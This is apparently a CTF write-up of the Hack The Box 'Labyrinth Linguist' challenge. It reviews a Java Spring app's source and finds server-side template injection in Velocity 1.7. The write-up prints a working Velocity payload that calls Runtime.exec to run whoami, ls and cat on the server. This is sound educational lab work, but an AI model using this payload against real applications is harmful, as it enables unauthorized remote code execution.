Labyrinth Linguist Writeup - Cyber Apocalypse 2024
→ 1 Introduction
This writeup covers the Labyrinth Linguist Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.
The description of the challenge is shown below.

→ 2 Key techniques
The key techniques employed in this writeup are:
- manual source code review
- Velocity SSTI (Server Side Template Injection) vulnerability analysis and exploitation
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 web_labyrinth_linguist.zip
20621d4206111b15ce39dce9debf8af5a0fdf0834aa3063f1bffd064591d8f78 web_labyrinth_linguist.zip
The zip file contained the following, indicating the application is a
Java application with a single Java class in Main.java
:
$ unzip -d web_labyrinth_linguist web_labyrinth_linguist.zip
Archive: web_labyrinth_linguist.zip
inflating: web_labyrinth_linguist/build-docker.sh
creating: web_labyrinth_linguist/challenge/
inflating: web_labyrinth_linguist/challenge/pom.xml
extracting: web_labyrinth_linguist/challenge/.gitignore
creating: web_labyrinth_linguist/challenge/src/
creating: web_labyrinth_linguist/challenge/src/main/
creating: web_labyrinth_linguist/challenge/src/main/java/
inflating: web_labyrinth_linguist/challenge/src/main/java/Main.java
creating: web_labyrinth_linguist/challenge/src/main/resources/
creating: web_labyrinth_linguist/challenge/src/main/resources/templates/
inflating: web_labyrinth_linguist/challenge/src/main/resources/templates/index.html
creating: web_labyrinth_linguist/challenge/src/main/resources/static/
creating: web_labyrinth_linguist/challenge/src/main/resources/static/font/
inflating: web_labyrinth_linguist/challenge/src/main/resources/static/font/Ancient_G_Written.ttf
creating: web_labyrinth_linguist/challenge/src/main/resources/static/css/
inflating: web_labyrinth_linguist/challenge/src/main/resources/static/css/style.css
creating: web_labyrinth_linguist/config/
inflating: web_labyrinth_linguist/config/supervisord.conf
inflating: web_labyrinth_linguist/Dockerfile
inflating: web_labyrinth_linguist/entrypoint.sh
extracting: web_labyrinth_linguist/flag.txt
→ 4 Mapping the application
→ 4.1 Mapping the application interactively
The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a form:

A simple “htb” string was submitted, which simply resulted in “htb” being reflected in the response:


→ 4.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.
→ 4.2.1 Dockerfile
The following were observed in Dockerfile
:
-
A Java 11 base image is used:
-
The flag is copied to
/flag.txt
-
The challenge code is copied to
/app
-
entrypoint.sh
is called to start the app:
→ 4.2.2 entrypoint.sh
entrypoint.sh
was observed to do the following:
-
Rename the flag file to a secure name with a 10 character lowercase hex suffix. This implies an RCE (remote code execution) vulnerability will likely be needed to obtain the flag.
-
Start the app using
supervisord
, configured via/etc/supervisord.conf
:
→ 4.2.3 supervisord.conf
supervisord.conf
runs a Spring application:
→ 4.2.4 Main.java
Main.java
contains a single route:
@RequestMapping("/")
@ResponseBody
String index(@RequestParam(required = false, name = "text") String textString) {
The route generates the response using a Velocity Template:
-
The template is sourced from
/app/src/main/resources/templates/index.html
. -
The
readFileToString
method replacesTEXT
inindex.html
with attacker controlled input from thetext
request param. -
index.html
contains aTEXT
placeholder which the above replaces. -
The resulting template is parsed as a Velocity template. The last line below also sets a context variable
name
to the string “World”.RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); StringReader reader = new StringReader(template); org.apache.velocity.Template t = new org.apache.velocity.Template(); t.setRuntimeServices(runtimeServices); try { t.setData(runtimeServices.parse(reader, "home")); t.initDocument(); VelocityContext context = new VelocityContext(); context.put("name", "World");
The above code is vulnerable to SSTI (Server Side Template Injection), which is an instance of the common weakness CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. This is because the attacker controlled input is interpreted as Velocity Template syntax, allowing the attacker to exercise features of the Velocity Template language.
→ 4.2.5 pom.xml
pom.xml
declares that Velocity version 1.7 is used:
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
→ 5 Vulnerability analysis - confirming the SSTI
Since the Velocity context contains a name
variable, a
simple template of $name
can be submitted to confirm the
SSTI vulnerability. This resulted in the string “World” being returned
in the response, confirming that an attacker can inject Velocity
template syntax.


→ 6 Exploitation
The following payload from https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#velocity-java was used as a starting point to achieve RCE:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
From https://antgarsil.github.io/posts/velocity/ and https://velocity.apache.org/engine/1.7/user-guide.html#directives it was observed that directives and variable substitutions can be mixed on a single line. For example:
#if($a==1)true enough#{else}no way!#end
This means the base payload can be strung into a single line.
The payload did not work out of the box. It was successively
simplified to identify the problem was with the
$class.inspect
construct. The correct syntax was determined
based on the Java
Class API documentation and by taking advantage of the
$name
variable:
$name.getClass().forName("java.lang.String")


The base payload from HackTricks was modified to use the correct
syntax for getting a class and submitted. Successful RCE of the command
whoami
was achieved, indicating that the process was
running as the root user.


The payload was then modified to execute ls /
, resulting
in disclosure of the flag file name as
/flag2e69ebbdb3.txt
.


→ 7 Obtaining the flag
A final request was submitted to execute
cat /flag2e69ebbdb3.txt


→ 8 Conclusion
The flag was submitted, after removing spaces, and the challenge was marked as pwned
